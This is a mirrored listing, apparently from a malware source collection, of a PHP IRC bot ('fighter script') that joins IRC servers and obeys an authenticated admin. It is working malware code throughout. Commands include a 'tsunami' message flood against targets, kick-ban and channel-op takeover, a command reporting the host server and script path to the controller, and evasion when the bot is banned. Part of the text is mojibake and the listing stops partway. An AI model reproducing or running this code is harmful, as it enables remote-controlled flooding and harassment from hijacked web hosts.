mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
629 lines
29 KiB
Plaintext
629 lines
29 KiB
Plaintext
|
<?php
|
|||
|
|
//fighter script - BAJAY
|
|||
|
|
function working() {
|
|||
|
|
$querym=array(
|
|||
|
|
"?",
|
|||
|
|
"!",
|
|||
|
|
"^^",
|
|||
|
|
" ^^",
|
|||
|
|
" :(",
|
|||
|
|
" :)",
|
|||
|
|
" ~:>",
|
|||
|
|
" :P~",
|
|||
|
|
" :D",
|
|||
|
|
",",
|
|||
|
|
".",
|
|||
|
|
"a",
|
|||
|
|
"i",
|
|||
|
|
"u",
|
|||
|
|
"e",
|
|||
|
|
"o",
|
|||
|
|
"z",
|
|||
|
|
"v",
|
|||
|
|
"z",
|
|||
|
|
"x",
|
|||
|
|
"c",
|
|||
|
|
"p",
|
|||
|
|
"m",
|
|||
|
|
"t",
|
|||
|
|
"k",
|
|||
|
|
"b",
|
|||
|
|
"s",
|
|||
|
|
"u",
|
|||
|
|
"bot",
|
|||
|
|
"g",
|
|||
|
|
"lo",
|
|||
|
|
"jo",
|
|||
|
|
"lol"
|
|||
|
|
);
|
|||
|
|
$tsu1=array("`","|","[","]","{","}","^","_");
|
|||
|
|
$tsu2=array("`","|","[","]","{","}","^","-","\\","_");
|
|||
|
|
$nicky=array(
|
|||
|
|
"cew_im0ed",
|
|||
|
|
"cew_isepin",
|
|||
|
|
"cew_maud",
|
|||
|
|
"cew_like_ml",
|
|||
|
|
"cew_butuh",
|
|||
|
|
"cew_suka_dorong",
|
|||
|
|
"cew_gerobak",
|
|||
|
|
"cew_soto",
|
|||
|
|
"cew_bakso",
|
|||
|
|
"cew_gado",
|
|||
|
|
"cew_burik",
|
|||
|
|
"cew_panas",
|
|||
|
|
"cew_tempat",
|
|||
|
|
"cew_asbak",
|
|||
|
|
"cew_jual_kambing",
|
|||
|
|
"cew_utis_surya",
|
|||
|
|
"cew_notepad",
|
|||
|
|
"cew_spg_montok_abis",
|
|||
|
|
"cew_diam_saja",
|
|||
|
|
"cew_bantal",
|
|||
|
|
"cew_udunen",
|
|||
|
|
"cew_poraken",
|
|||
|
|
"cew_suka_bawahmu",
|
|||
|
|
"cew_kutilen",
|
|||
|
|
"cew_bokong",
|
|||
|
|
"cew_jujur",
|
|||
|
|
"cew_urat_nadi",
|
|||
|
|
"cew_butuh_kamu",
|
|||
|
|
"cew_tentara",
|
|||
|
|
"cew_monitor",
|
|||
|
|
"cew_dodol_wedus",
|
|||
|
|
"cew_burik_beceng",
|
|||
|
|
"cew_blethang",
|
|||
|
|
"cew_kerbuy",
|
|||
|
|
"cew_brekay",
|
|||
|
|
"cew_lesbong",
|
|||
|
|
"cew_napi",
|
|||
|
|
"cew_wlingi",
|
|||
|
|
"cew_kauman",
|
|||
|
|
"cew_pendaki",
|
|||
|
|
"cew_lesoh",
|
|||
|
|
"cew_cari_co_gede",
|
|||
|
|
"cew_suka_ditimang",
|
|||
|
|
"cew_binasa",
|
|||
|
|
"cew_dandong^fs",
|
|||
|
|
"cew_kepeten",
|
|||
|
|
"cew_bisadiboking",
|
|||
|
|
"cew_jalanjalan",
|
|||
|
|
"cew_tawangmangu",
|
|||
|
|
"cew_suka_kentut",
|
|||
|
|
"cew_duh_burik"
|
|||
|
|
|
|||
|
|
|
|||
|
|
);
|
|||
|
|
$usr1=array(
|
|||
|
|
"BLoodroSE",
|
|||
|
|
);
|
|||
|
|
|
|||
|
|
$nick = $nicky[rand(0,count($nicky) - 1)];
|
|||
|
|
$awaymsg = "4Ã<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’¢â‚¬Å¡Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚»8!4Ã<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’¢â‚¬Å¡Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚« 4tawa 8CÃ<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’¢â‚¬Å¡Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚®Ã<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’� ’Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚«wS 4Ã<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’¢â‚¬Å¡Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚»8!4Ã<C383>� ’Ã<E28099> ’Æ’Ã<C383>� ’¢â‚¬Å¡Ã<C383>� ’Ã<E28099> ’‚Ã<C383>� ’‚«";
|
|||
|
|
$identify = 'serang';
|
|||
|
|
$Admin = 'paijoe';
|
|||
|
|
$BOT_PASSWORD = 'serang';
|
|||
|
|
$channels = '#xirc';
|
|||
|
|
$remotehst2= array("irc.mojok.org","irc.indoirc.net");
|
|||
|
|
$remotehost= $remotehst2[rand(0,count($remotehst2) - 1)];
|
|||
|
|
$port = '6667';
|
|||
|
|
$realname = '8,1^_1,13B13,1L1,13o13,1o1,13D13,1S8,1_^';
|
|||
|
|
$counterfp = 0;
|
|||
|
|
$channels = str_replace("CNL","#",$channels);
|
|||
|
|
print "<body bgcolor=#000000 text=#C0C0C0>";
|
|||
|
|
print "<b>== Connecting to $remotehost...</b>";
|
|||
|
|
|
|||
|
|
|
|||
|
|
$raway = "on";
|
|||
|
|
$log = "off";
|
|||
|
|
$saway = "1";
|
|||
|
|
if (!$stime) { $stime = time(); }
|
|||
|
|
if (!$port) { $port = "6666"; }
|
|||
|
|
$Admin = strtolower($Admin);
|
|||
|
|
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
|
|||
|
|
|
|||
|
|
$username = $usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)].$usr1[rand(0,count($usr1) - 1)];
|
|||
|
|
$keluar = 0;
|
|||
|
|
$akill = 1;
|
|||
|
|
$katime = 0;
|
|||
|
|
$localhost = 'localhost';
|
|||
|
|
$dayload = date("H:i:s d/m/Y");
|
|||
|
|
ini_set('user_agent','MSIE 5\.5;');
|
|||
|
|
set_time_limit(0);
|
|||
|
|
define ('CRL', "\r\n");
|
|||
|
|
$channels = strtolower($channels)." ";
|
|||
|
|
$channel = explode(" ", $channels);
|
|||
|
|
|
|||
|
|
do {
|
|||
|
|
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
|
|||
|
|
if(!$fp) {
|
|||
|
|
if ( $counterfp <= 200 ) {
|
|||
|
|
$counterfp = $counterfp+1;
|
|||
|
|
working($nick);
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
|
|||
|
|
$keluar = 1;
|
|||
|
|
exit;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
print "<br><b>== Suceeded connection</b>";
|
|||
|
|
$Header = 'NICK '.$nick . CRL;
|
|||
|
|
$Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
|
|||
|
|
fputs($fp, $Header);
|
|||
|
|
$response = '';
|
|||
|
|
while (!feof($fp)) {
|
|||
|
|
$response .= fgets($fp, 1024);
|
|||
|
|
while (substr_count($response,CRL) != 0) {
|
|||
|
|
$offset = strpos($response, CRL);
|
|||
|
|
$data = substr($response,0,$offset);
|
|||
|
|
$response = substr($response,$offset+2);
|
|||
|
|
if (substr($data,0,1) == ':') {
|
|||
|
|
$offsetA = strpos($data, ' ');
|
|||
|
|
$dFrom = substr($data,1,$offsetA-1);
|
|||
|
|
$offsetB = strpos($data, ' :');
|
|||
|
|
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
|
|||
|
|
$offsetC = strpos($data, '!');
|
|||
|
|
$dNick = substr($data,1,$offsetC-1);
|
|||
|
|
$iText = substr($data,$offsetB+2);
|
|||
|
|
if ( substr($dCommand,0,3) == '004' ) {
|
|||
|
|
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
|
|||
|
|
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
|
|||
|
|
fputs($fp, 'NOTICE ' . $Admin . ' :Halo bos besar!' . CRL);
|
|||
|
|
foreach ($channel as $v) {
|
|||
|
|
fputs($fp, 'JOIN ' .$v . CRL);
|
|||
|
|
}
|
|||
|
|
$pong1 = '1';
|
|||
|
|
}
|
|||
|
|
elseif (substr($dCommand,0,3)=='465') {
|
|||
|
|
print "<br><b>== This bot have been autokilled.</b>";
|
|||
|
|
$akill = 2;
|
|||
|
|
}
|
|||
|
|
elseif (substr($dCommand,0,3)=='433') {
|
|||
|
|
$nick = $nicky[rand(0,count($nicky) - 1)];
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
elseif (substr($dCommand,0,3)=='432') {
|
|||
|
|
$nick = $nick.$username;
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
if (eregi('.dal.net',$dNick) && $akill==2) {
|
|||
|
|
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
|
|||
|
|
print "<br><b>".strstr($data,'***')." </b>";
|
|||
|
|
|
|||
|
|
if (eregi('Your IP is',$data)) {
|
|||
|
|
$keluar = 1;
|
|||
|
|
exit;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
$dcom = explode(" ", $dCommand);
|
|||
|
|
$dNick = strtolower($dNick);
|
|||
|
|
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
|
|||
|
|
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
|
|||
|
|
if ($auth["$dNick"]) {
|
|||
|
|
if ($auth["$dNick"]["pass"]) {
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
|
|||
|
|
if ($dcom[0]=='NICK') {
|
|||
|
|
$com = explode(" ", $data);
|
|||
|
|
$chnick = strtolower(str_replace(':','',$com[2]));
|
|||
|
|
if ($dNick!=$chnick) {
|
|||
|
|
$auth["$dNick"]["auth"] = 1;
|
|||
|
|
fputs($fp,'NOTICE '.$chnick.' :selamat istirahat bos! ' . CRL);
|
|||
|
|
}
|
|||
|
|
} else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :selamat istirahat bos! ' . CRL); }
|
|||
|
|
}
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :pass your pass ' . CRL); }
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
|
|||
|
|
$dcom[2] = strtolower($dcom[2]);
|
|||
|
|
if ($auth["$dcom[2]"]) {
|
|||
|
|
if ($auth["$dcom[2]"]["pass"]) {
|
|||
|
|
if ($auth["$dcom[2]"]["auth"]==1) {
|
|||
|
|
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
|
|||
|
|
fputs($fp,'NOTICE ' . $dcom[2] . ' :You`re Authorized as '.$auth["$dcom[2]"]["status"].' of this bot! ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :password bener bos seep! ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Pass salah cux! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($dcom[0]=='NOTICE') {
|
|||
|
|
$com = explode(" ", $data);
|
|||
|
|
if ($com[3]==':KB' && $com[4] && $com[5] && $com[6]) {
|
|||
|
|
$msg = str_replace('','',$data);
|
|||
|
|
$msg = strstr($msg,":KB");
|
|||
|
|
$msg = str_replace(":KB $com[4]","",$msg);
|
|||
|
|
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
|
|||
|
|
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($dcom[0]=='PRIVMSG') {
|
|||
|
|
$com = explode(" ", $data);
|
|||
|
|
if ($com[3]==':VERSION') {
|
|||
|
|
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).'VERSION iLhaMiRc ajaH:p'.chr(1) . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
|
|||
|
|
if ($auth["$dNick"]) {
|
|||
|
|
if ($auth["$dNick"]["pass"]) {
|
|||
|
|
if ($auth["$dNick"]["auth"]==1) {
|
|||
|
|
if ($com[4]===$auth["$dNick"]["pass"]) {
|
|||
|
|
$auth["$dNick"]["auth"] = 2;
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :You`re Authorized as '.$auth["$dNick"]["status"].' of this bot! ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :password salah! Auth salah cok! ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :password bener bos! ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
|
|||
|
|
if ($auth["$dNick"]) {
|
|||
|
|
if ($auth["$dNick"]["pass"]) {
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
$auth["$dNick"]["auth"] = 1;
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :You`re LogOut! ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already LogOut! ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
|
|||
|
|
if ($auth["$dNick"]) {
|
|||
|
|
if (!$auth["$dNick"]["pass"]) {
|
|||
|
|
$auth["$dNick"]["pass"] = $com[4];
|
|||
|
|
$auth["$dNick"]["auth"] = 1;
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
|
|||
|
|
if ($auth["$dNick"]) {
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
if ($com[4]===$auth["$dNick"]["pass"]) {
|
|||
|
|
$auth["$dNick"]["pass"] = $com[5];
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
|
|||
|
|
$com[4] = strtolower($com[4]);
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
if ($auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if ($com[5]=="master" || $com[5]=="user") {
|
|||
|
|
$auth["$com[4]"]["name"] = $com[4];
|
|||
|
|
$auth["$com[4]"]["status"] = $com[5];
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
|
|||
|
|
fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass> To Set Your Pass ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :salah Command! Type: adduser <nick> <master/user> ' . CRL); }
|
|||
|
|
} elseif ($auth["$dNick"]["status"]=="master") {
|
|||
|
|
if (!$auth["$com[4]"]) {
|
|||
|
|
if ($com[5]=="user") {
|
|||
|
|
$auth["$com[4]"]["name"] = $com[4];
|
|||
|
|
$auth["$com[4]"]["status"] = $com[5];
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
|
|||
|
|
fputs($fp,'NOTICE ' . $com[4] . ' :You`re Now Known As My '.$com[5].' Added By '.$dNick.' Now Type: pass <your pass33] <Spyderur Pass ' . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: adduser <nick> user ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :User Already Exist! Aborting AddUser! ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
|
|||
|
|
$com[4] = strtolower($com[4]);
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
if ($auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
|
|||
|
|
unset($auth["$com[4]"]);
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
|
|||
|
|
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
|
|||
|
|
} elseif ($auth["$dNick"]["status"]=="master") {
|
|||
|
|
if ($auth["$com[4]"]["status"]=="user") {
|
|||
|
|
unset($auth["$com[4]"]);
|
|||
|
|
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
|
|||
|
|
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Wrong Command! Type: deluser <nick> ' . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Unknown Status! Your Status is '.$auth["$dNick"]["status"] . CRL); }
|
|||
|
|
} else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
|
|||
|
|
}
|
|||
|
|
elseif ($auth["$dNick"]["status"]) {
|
|||
|
|
if (ereg(":`",$com[3]) || ereg(":!",$com[3])) {
|
|||
|
|
$chan = strstr($dCommand,"#");
|
|||
|
|
$anick = str_replace("PRIVMSG ","",$dCommand);
|
|||
|
|
if ($com[3]==':!auth') {
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
fputs($fp,'NOTICE '.$dNick.' :You`re already Authorized!' . CRL);
|
|||
|
|
} else {
|
|||
|
|
$whois = $dNick;
|
|||
|
|
fputs($fp,'WHOIS '.$dNick . CRL);
|
|||
|
|
}
|
|||
|
|
} elseif ($com[3]==':`auth' && $chan) {
|
|||
|
|
if ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' siap bos!' . CRL);
|
|||
|
|
} else { fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.' bukan bosku cok!' . CRL); }
|
|||
|
|
} elseif ($auth["$dNick"]["auth"]==2) {
|
|||
|
|
if ($com[3]==':`say' && $com[4] && $chan) {
|
|||
|
|
$msg = strstr($data,":`say");
|
|||
|
|
$msg = str_replace(":`say ","",$msg);
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :'.$msg. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`act' && $com[4] && $chan) {
|
|||
|
|
$msg = strstr($data,":`act");
|
|||
|
|
$msg = str_replace(":`act ","",$msg);
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :ACTION '.$msg.''. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`slap' && $com[4] && $chan) {
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :ACTION slaps '.$com[4].' Tepat Di jidat 4pake kursi, kompor, penggorengan, plus tahi kuda... 2JeGuuuERRR... PleeTHaaQQQ ... DeeZZiiNGhHH ... 12cukuliinn dach loe ... monyong² tuh jidat ... hahahahakZ :4P~'. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`msg' && $com[4] && $com[5]) {
|
|||
|
|
$msg = strstr($data,":`msg");
|
|||
|
|
$msg = str_replace(":`msg $com[4] ","",$msg);
|
|||
|
|
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`notice' && $com[4] && $com[5]) {
|
|||
|
|
$msg = strstr($data,":`notice");
|
|||
|
|
$msg = str_replace(":`notice $com[4] ","",$msg);
|
|||
|
|
fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`ctcp' && $com[4] && $com[5]) {
|
|||
|
|
$msg = strstr($data,":`ctcp");
|
|||
|
|
$msg = str_replace(":`ctcp $com[4] ","",$msg);
|
|||
|
|
fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`ping' && $chan) {
|
|||
|
|
$sml = $smile[rand(0,count($smile) - 1)];
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`pong' && $chan) {
|
|||
|
|
$sml = $smile[rand(0,count($smile) - 1)];
|
|||
|
|
fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`info' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
$bhost = $_SERVER['HTTP_HOST'];
|
|||
|
|
$bphp = $_SERVER['PHP_SELF'];
|
|||
|
|
fputs($fp,'NOTICE '.$dNick.' :Bot Host: '.$bhost.', Bot PHP: '.$bphp. CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`up' && $chan) {
|
|||
|
|
fputs($fp, 'PRIVMSG chanserv@services.dal.net :op '.$chan.' '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`down' && $chan) {
|
|||
|
|
fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
|
|||
|
|
$nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
|
|||
|
|
fputs($fp, 'NICK '.$nicktsu . CRL);
|
|||
|
|
if (substr($dCommand,0,3)=='433') {
|
|||
|
|
$nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
|
|||
|
|
fputs($fp, 'NICK '.$nicktsu . CRL);
|
|||
|
|
}
|
|||
|
|
$msg = strstr($data,":tsunami");
|
|||
|
|
$msg = str_replace(":tsunami $com[4]","",$msg);
|
|||
|
|
if (ereg("#", $com[4])) {
|
|||
|
|
fputs($fp, 'JOIN '.$com[4] . CRL);
|
|||
|
|
}
|
|||
|
|
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.' ' . CRL);
|
|||
|
|
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.' ' . CRL);
|
|||
|
|
fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI '.$msg.' ' . CRL);
|
|||
|
|
fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.' ' . CRL);
|
|||
|
|
fputs($fp, 'NOTICE '.$com[4].' :'.$msg.' ' . CRL);
|
|||
|
|
|
|||
|
|
fputs($fp, 'PRIVMSG '.$com[4].' :FLOOD '.$msg.' ' . CRL);
|
|||
|
|
if (ereg("#", $com[4])) {
|
|||
|
|
fputs($fp, 'PART '.$com[4].' :Complete' . CRL);
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
} else {
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`cycle' && $chan && $auth["$dNick"]["status"]!="user") {
|
|||
|
|
$msg = strstr($data,":`cycle");
|
|||
|
|
if (ereg("#", $com[4])) {
|
|||
|
|
$partchan = $com[4];
|
|||
|
|
$msg = str_replace(":`cycle $com[4]","",$msg);
|
|||
|
|
} else {
|
|||
|
|
$partchan = $chan;
|
|||
|
|
$msg = str_replace(":`cycle","",$msg);
|
|||
|
|
}
|
|||
|
|
if (strlen($msg)<3) {
|
|||
|
|
$msg = '';
|
|||
|
|
}
|
|||
|
|
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
|
|||
|
|
fputs($fp, 'JOIN '.$partchan . CRL);
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`part' && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
$msg = strstr($data,":`part");
|
|||
|
|
if (ereg("#", $com[4])) {
|
|||
|
|
$partchan = $com[4];
|
|||
|
|
$msg = str_replace(":`part $com[4]","",$msg);
|
|||
|
|
} else {
|
|||
|
|
$partchan = $chan;
|
|||
|
|
$msg = str_replace(":`part","",$msg);
|
|||
|
|
}
|
|||
|
|
if (strlen($msg)<3) {
|
|||
|
|
$msg = '';
|
|||
|
|
}
|
|||
|
|
fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
|
|||
|
|
$remchan = strtolower($partchan);
|
|||
|
|
if (in_array($remchan, $channel)) {
|
|||
|
|
$channels = str_replace("$remchan ","",$channels);
|
|||
|
|
unset($channel);
|
|||
|
|
$channel = explode(" ", $channels);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
foreach ($channel as $v) {
|
|||
|
|
fputs($fp, 'JOIN '.$v . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
|
|||
|
|
$addchan = strtolower($com[4]);
|
|||
|
|
if (!in_array($addchan, $channel)) {
|
|||
|
|
$channel[]=$addchan;
|
|||
|
|
$channels.="$addchan ";
|
|||
|
|
}
|
|||
|
|
foreach ($channel as $v) {
|
|||
|
|
sleep(rand(1,6));
|
|||
|
|
fputs($fp, 'JOIN '.$v . CRL);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
elseif ($com[3]==':`botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
|
|||
|
|
$nick = $com[4];
|
|||
|
|
$identify = $com[5];
|
|||
|
|
fputs($fp, 'NICK '.$nick . CRL);
|
|||
|
|
fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
|
|||
|
|
}
|
|||
